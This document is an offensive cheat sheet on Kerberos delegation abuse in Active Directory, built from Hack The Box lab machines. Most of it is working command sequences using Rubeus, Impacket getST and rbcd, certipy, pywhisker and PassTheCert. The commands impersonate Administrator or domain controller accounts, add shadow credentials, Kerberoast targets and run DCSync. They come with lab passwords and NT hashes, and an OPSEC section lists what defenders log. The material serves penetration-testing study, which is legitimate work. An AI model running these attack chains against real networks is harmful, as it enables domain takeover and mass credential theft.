Kerberos Delegation Attacks
#Overview
Kerberos delegation allows a service to impersonate a user when accessing other services on their behalf. Three delegation types exist in Active Directory: Unconstrained (the service can impersonate to ANY service), Constrained (restricted to specific SPNs), and Resource-Based Constrained Delegation or RBCD (the resource specifies who can delegate to it). Misconfigurations in delegation settings allow attackers to escalate from control of a delegated service to full Domain Admin access by impersonating privileged accounts.
#Prerequisites
- Domain user account with specific privileges (varies by attack type)
- Compromised computer or service account with delegation rights
- For RBCD: GenericWrite/WriteProperty on a computer object, or ability to add
msDS-AllowedToActOnBehalfOfOtherIdentity - Tools: Rubeus, impacket-getST, impacket-ticketer, certipy, PKINITtools
#Unconstrained Delegation
#Enumeration
# BloodHound: find computers with unconstrained delegation
# Edge: TrustedForDelegation = true on computer object
# Query: Find Computers with Unconstrained Delegation
# findDelegation.py from ThePorgs Impacket fork
findDelegation.py rebound.htb/oorend:'1GR8t@$$4u' -dc-ip dc01.rebound.htb -k
# Look for: DelegationType: Unconstrained (e.g., DC01$ had Unconstrained in Rebound)
# PowerView (Windows)
Get-DomainComputer -Unconstrained
# netexec
netexec ldap <DC> -u <user> -p <pass> -M delegation # All delegation types
nxc ldap <dc> -u user -p pass -M delegation | grep -i "unconstrained" # Filter
#Exploitation: Printer Bug + Rubeus
# 1. Compromise a server with unconstrained delegation
# 2. Run Rubeus in monitor mode on that server to capture TGTs
Rubeus.exe monitor /interval:5 /nowrap
# 3. Coerce DC to authenticate to the compromised server (PrinterBug)
python3 printerbug.py domain/user:pass@<compromised_server> <dc_ip>
# 4. Extract the DC's TGT from Rubeus output
# 5. Use the DC TGT for DCSync
Rubeus.exe ptt /ticket:<base64_ticket>
#Constrained Delegation
#Enumeration
# findDelegation.py — identify constrained delegation
findDelegation.py rebound.htb/oorend:'1GR8t@$$4u' -dc-ip dc01.rebound.htb -k
# Look for: DelegationType: Constrained, DelegationRightsTo: <SPN>
# Example: delegator$ -> Constrained w/o Protocol Transition -> http/dc01.rebound.htb
# BloodHound
# Edge: AllowedToDelegate pointing to specific SPNs
# PowerView
Get-DomainUser -TrustedToAuth # with protocol transition
Get-DomainComputer -TrustedToAuth
#S4U2Self and S4U2Proxy
Constrained delegation uses two Kerberos extensions:
- S4U2Self: Service requests a ticket to itself on behalf of any user
- S4U2Proxy: Service uses the S4U2Self ticket to request a ticket for another service
# Standard constrained delegation attack
# Impersonate Administrator and get ticket for the target service
getST.py <domain>/<delegation_account> -hashes :<NT_HASH> -dc-ip <DC> \
-spn <target_spn> -impersonate Administrator
# Example with gMSA account (delegator$ in Rebound)
getST.py rebound.htb/delegator\$ -hashes :e1630b0e18242439a50e9d8b5f5b7524 \
-dc-ip dc01.rebound.htb -spn http/dc01.rebound.htb -impersonate Administrator
# If Protocol Transition is NOT enabled (KDC_ERR_BADOPTION):
# S4U2Self produces non-forwardable tickets -> S4U2Proxy fails
# Workaround: perform RBCD first to get forwardable ticket
#S4U2Self KDC_ERR_BADOPTION Debugging
# 1. Check ticket flags: describeTicket.py -ticket TGS.ccache
# 2. Verify forwardable flag is set (required for S4U2Proxy)
# 3. Try impersonating a machine account instead of Administrator (some configurations block user impersonation)
# 4. Check if the service account has 'TrustedToAuthForDelegation' (protocol transition) enabled
#Rubeus.exe S4U — On-host Windows Delegation Exploitation
# Constrained delegation (with known password):
Rubeus.exe s4u /user:svc_service /rc4:NTLM_HASH /domain:domain.local /impersonateuser:administrator /msdsservicetype:host/target.domain.local /ptt
# Constrained delegation (with password):
Rubeus.exe s4u /user:svc_service /password:Password1 /domain:domain.local /impersonateuser:administrator /msdsservicetype:cifs/target.domain.local /ptt
# S4U2Self + S4U2Proxy (resource-based constrained delegation):
Rubeus.exe s4u /user:attacker$ /rc4:NTLM_HASH /domain:domain.local /impersonateuser:administrator /msdsservicetype:cifs/target.domain.local /ptt
#Without Protocol Transition (from Rebound)
# When delegation lacks protocol transition:
# 1. First do S4U2Self to verify ticket is not forwardable
getST.py rebound.htb/delegator\$ -hashes :<hash> -dc-ip dc01.rebound.htb \
-spn http/dc01.rebound.htb -impersonate Administrator -self
# 2. Inspect ticket flags
describeTicket.py Administrator@delegator\$@REBOUND.HTB.ccache
# Look for: Flags: (0xa10000) — "forwardable" flag MISSING
# 3. Perform RBCD to get a forwardable ticket (see RBCD section)
#Resource-Based Constrained Delegation (RBCD)
#Enumeration
# BloodHound: find computers with GenericWrite/WriteProperty
# If you can write to msDS-AllowedToActOnBehalfOfOtherIdentity -> RBCD possible
# certipy shadow credentials approach also enables RBCD if you control a user with an SPN
#RBCD Attack Workflow
# Step 1: Add delegation rights — allow attacker-controlled principal to delegate
# Using rbcd.py from ThePorgs Impacket fork
# delegate-from: the entity that can now delegate
# delegate-to: the target service account
rbcd.py rebound.htb/delegator\$ -hashes :e1630b0e18242439a50e9d8b5f5b7524 \
-k -delegate-from ldap_monitor -delegate-to delegator$ -action write \
-dc-ip dc01 -use-ldaps
# Step 2: Get S4U2Self ticket from ldap_monitor to delegator$ as DC01$
# The impersonated account must NOT have NOT_DELEGATED flag set
# Administrator often has this flag; DC01$ usually does not
getST.py rebound.htb/ldap_monitor:'1GR8t@$$4u' -spn browser/dc01.rebound.htb -impersonate DC01$
# Step 3: Verify ticket is forwardable
describeTicket.py DC01\$@browser_dc01.rebound.htb@REBOUND.HTB.ccache
# Look for: Flags: (0x40a10000) forwardable, renewable, pre_authent, enc_pa_rep
# Step 4: Use forwardable ticket in S4U2Proxy to get service ticket for the target
getST.py rebound.htb/delegator\$ -hashes :e1630b0e18242439a50e9d8b5f5b7524 \
-spn http/dc01.rebound.htb \
-additional-ticket DC01\$@browser_dc01.rebound.htb@REBOUND.HTB.ccache \
-impersonate DC01$
# Step 5: Use the resulting ticket for DCSync
KRB5CCNAME=./DC01\$@http_dc01.rebound.htb@REBOUND.HTB.ccache \
secretsdump.py -k -no-pass dc01.rebound.htb -just-dc-user administrator
#RBCD via PassTheCert (from Authority)
When PKINIT is not supported on the DC but you have a certificate:
# 1. Extract cert and key from PFX
openssl pkcs12 -in administrator_authority.pfx -nocerts -out administrator.key
openssl pkcs12 -in administrator_authority.pfx -clcerts -nokeys -out administrator.crt
# 2. Use PassTheCert to write RBCD delegation
python3 passthecert.py -dc-ip 10.10.11.222 -crt administrator.crt -key administrator.key \
-domain authority.htb -port 636 -action write_rbcd \
-delegate-to 'AUTHORITY$' -delegate-from 'EVIL01$'
# 3. Perform S4U2Self + S4U2Proxy with EVIL01$
getST.py -spn 'cifs/AUTHORITY.authority.htb' -impersonate Administrator \
'authority.htb/EVIL01$:Str0ng3st_P@ssw0rd!'
# 4. Export TGT and DCSync
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass authority.htb/Administrator@authority.authority.htb -just-dc-ntlm
#Shadow Credentials
Shadow Credentials abuse the msDS-KeyCredentialLink attribute on a user or computer object. When you have GenericWrite/GenericAll on an object, you can add a key credential and use PKINIT to request a TGT.
# certipy shadow auto — add key credential, get TGT, recover NT hash
certipy shadow auto -u oorend@rebound.htb -p '1GR8t@$$4u' -account winrm_svc \
-target dc01.rebound.htb -dc-ip 10.10.11.231 -k
# Output: NT hash for 'winrm_svc': 4469650fd892e98933b4536d2e86e512
# Manual approach with pywhisker + PKINITtools
python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" \
--target "management_svc" --action "add"
# Produces .pfx file
python3 gettgtpkinit.py -cert-pfx vGRMeeb9.pfx certified.htb/management_svc \
-pfx-pass '25nQ6mg4JUTeQEjjNRE2' management_svc.ccache
export KRB5CCNAME=management_svc.ccache
python3 getnthash.py -key <AES_key> certified.htb/management_svc
# Output: Recovered NT Hash
#Targeted Kerberoasting via GenericWrite
When you have GenericWrite on a user (who does not have an SPN), you can add one and Kerberoast them.
# BloodyAD: add SPN to a user
bloodyAD -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' \
--host dc01.tombwatcher.htb set object alfred servicePrincipalName -v 'http/whatever'
# Request TGS for the now-Kerberoastable user
netexec ldap dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' -k --kerberoasting hash.txt
# targetedKerberoast.py — automated add SPN, request TGS, remove SPN
targetedKerberoast.py -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' \
-f hashcat --dc-host dc01.tombwatcher.htb
# Clean up: remove the SPN
bloodyAD -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' \
--host dc01.tombwatcher.htb set object alfred servicePrincipalName
#Key BloodHound Edges for Delegation Attacks
| Edge | Meaning | Exploitation |
|---|---|---|
HasSIDHistory | User carries SID of a privileged group | Forge tickets with additional PAC |
AddMember | Can add users to a group | Add self to privileged group |
ForceChangePassword | Can reset user's password | Reset target user's password |
AddSelf | Can add self to a group | Add self to Infrastructure/LAPS_Readers group |
GenericAll | Full control over object | Shadow credential, force password, targeted Kerberoast |
GenericWrite | Write to non-protected attributes | Add SPN, add to KeyCredentialLink |
WriteOwner | Can change object ownership | Take ownership, then grant self GenericAll |
WriteDACL | Can modify object ACL | Grant self GenericAll or DCSync rights |
WriteProperty | Write to specific attributes | Add SPN, modify msDS-AllowedToActOnBehalfOfOtherIdentity |
Owns | Object ownership | Implied GenericAll via ownership |
#Delegation Across Forest Trusts
# Constrained delegation does NOT work across forest trusts with SID filtering enabled (default)
# Unconstrained delegation works cross-forest but the TGT is from the foreign domain
# To abuse cross-forest: SID filtering must be disabled (rare in production)
#Common Pitfalls
- NOT_DELEGATED flag: The Administrator account often has this flag (userAccountControl 1048576/0x100000). Impersonate DC01$ or another machine account instead.
- Protocol Transition not enabled: S4U2Self produces non-forwardable tickets. Combine with RBCD for forwardable tickets.
- KDC_ERR_BADOPTION during S4U2Proxy: The S4U2Self ticket is not forwardable or the SPN is not in the delegation list.
- adminCount=1: Objects with adminCount=1 do not inherit ACEs from parent containers. Use direct ACL manipulation.
#OPSEC Considerations
- Kerberos delegation attacks generate TGS requests (Event ID 4769) and TGT requests (Event ID 4768)
- Adding KeyCredentials (for shadow credentials) modifies the target object and is logged
- Adding SPNs to non-service accounts is unusual and detectable
- Constrained delegation modifications are logged in the DC's Security log
- RBCD attribute modification is visible in AD object change logs
#Post-Exploitation Value
- Impersonation of Domain Admins or Domain Controllers
- Ability to request service tickets for any SPN as any user
- Potential for DCSync via impersonated DC machine account
- Long-term persistence if delegation rights are not audited
#Cross-References
#Tool References
| Tool | Link |
|---|---|
| Rubeus | https://github.com/GhostPack/Rubeus |
| Impacket (getST, ticketer, findDelegation) | https://github.com/fortra/impacket |
| ThePorgs Impacket Fork | https://github.com/ThePorgs/impacket |
| certipy | https://github.com/ly4k/Certipy |
| PKINITtools | https://github.com/dirkjanm/PKINITtools |
| pywhisker | https://github.com/ShutdownRepo/pywhisker |
| PassTheCert | https://github.com/AlmondOffSec/PassTheCert |
| targetedKerberoast | https://github.com/ShutdownRepo/targetedKerberoast |
#Source Machines
- Rebound (Insane) — gMSA delegator$ with constrained delegation (no protocol transition) -> RBCD via ldap_monitor -> S4U2Self + S4U2Proxy -> DCSync
- Authority (Medium) — ESC1 certificate -> PassTheCert RBCD -> EVIL01$ delegation -> getST -> DCSync
- Certified (Medium) — WriteOwner -> GenericAll -> Shadow Credential chain (pywhisker + PKINITtools)
- Fluffy (Easy) — GenericAll -> add self to service accounts -> GenericWrite -> Shadow Credential on ca_svc + winrm_svc
- TombWatcher (Medium) — Targeted Kerberoasting (WriteSPN on Alfred) -> gMSA -> ForceChangePassword -> Shadow Credential on John